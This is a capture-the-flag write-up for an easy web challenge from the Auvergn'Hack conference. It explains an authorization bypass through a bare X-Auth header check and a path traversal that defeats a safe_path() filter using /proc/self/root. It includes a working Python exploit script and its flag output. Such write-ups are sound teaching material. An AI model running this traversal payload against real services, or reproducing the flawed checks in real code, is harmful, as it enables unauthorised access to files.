Introduction

Auvergn’Hack is a cybersecurity conference held in Clermont-Ferrand, France on April 5th. This year was the first edition, and I had the chance to create a few challenges in the Web, Forensic, and Misc categories. Even though the CTF was not perfect due to infrastructure issues, it was a pleasure to see people playing and trying to solve as many challenges as possible, and to be able to answer their questions.

Hoping next one will be even better ! 🐒

Challenge description

  • category : web
  • difficulty : easy
  • points : 200
  • description : Sometimes it's hard to manage these monkeys

Authorization Bypass

In the app.py file, we find the following three enpoints :

@app.route('/api/users', methods=['GET'])
@app.route('/api/user/<int:user_id>', methods=['GET'])
@app.route('/api/user/<int:user_id>', methods=['PUT'])

The third one is supposed to be only accessed by an admin as mentioned in the code :

@app.route('/api/user/<int:user_id>', methods=['PUT'])
def update_user(user_id):
    if 'X-Auth' not in request.headers:
        return jsonify({"message": "Not admin !"}), 403

    data = request.get_json()
    try:
        updated_user = user_manager.update_user(user_id, data)
        if updated_user:
            return jsonify(updated_user)
        else:
            return jsonify({"message": "User Not Found"}), 404
    except:
        return jsonify({'message':'Shit something went wrong ?'}), 500

As no proper authorization is done here, we just have to add the X-Auth header to our request.

Path traversal

Looking further into the code reveals that management of user token files is potentially vulnerable to path traversal.

def get_user_token(storage_path,user):
    user_id = user['id']
    user_username = user['username']
    data=''

    path = safe_path(f'{storage_path}/secrets/{user_id}_{user_username}')
    
    if path != '':
        if not os.path.exists(path):
            return generate_token(path)
        else:
            with open(path,'r') as f:
                data = f.read()
    
    return data

As we can see above, by providing a malicious username like /../../../../../../flag.txt, we can change our token location to read the flag.

However, the following safe_path() function must be bypassed :

def safe_path(path):
    norm_path = os.path.normpath(path)

    if norm_path.count('/') < 3:
        print("! Not Possible here !")
        return ''

    return norm_path

This code normalizes a given file path, meaning the return path will be an absolute path. Moreover, the result path must contain at least three directories.

>>> os.path.normpath('/data/secrets/../../../../flag.txt')
'/flag.txt' # not accepted because only 1 slash

The goal is to find an absolute path on linux that points to the root filesystem and have the proper number of directory.

The technique is to use /proc/self/root that refers directly to the root directory.

$ cat /proc/self/root/flag.txt
ZiTF{}

Exploit Script

The final step is finding the admin user from the /api/users endpoint, then updating the username with the previous trick and adding the proper header.

#!/usr/bin/python3

import requests

TARGET = "http://127.0.0.1:8000/"

def get_users():
    r = requests.get(url=TARGET+"api/users")
    users = r.json()
    return users

def find_admin(users):
    admin = [user for user in users if user['role'] == 'admin'][0]
    if admin is None:
     print("[*] No admin found ! ")
     exit()
    return admin

def path_traversal(user):
    payload = "/../../../../../../proc/self/root/flag.txt"
    user['username'] = payload
    r = requests.put(url=TARGET+f"/api/user/{user['id']}",json=user,headers={"X-Auth":"FakeData"})
    print(r.json())

if __name__ == '__main__':
    print("[*] Fetch users")
    users = get_users()
    admin_user = find_admin(users)
    print("[*] Admin user found")
    print(admin_user)
    print("[*] Exploit path traversal")
    path_traversal(admin_user)
$ python ./solve.py
[*] Fetch users
[*] Admin user found
{'description': 'A playful monkey cooking exotic dishes.', 'id': 34, 'role': 'admin', 'username': 'peanut.treehopper'}
[*] Exploit path traversal
{'description': 'A playful monkey cooking exotic dishes.', 'id': 34, 'role': 'admin', 'token': 'ZiTF{}', 'username': '/../../../../../../proc/self/root/flag.txt'}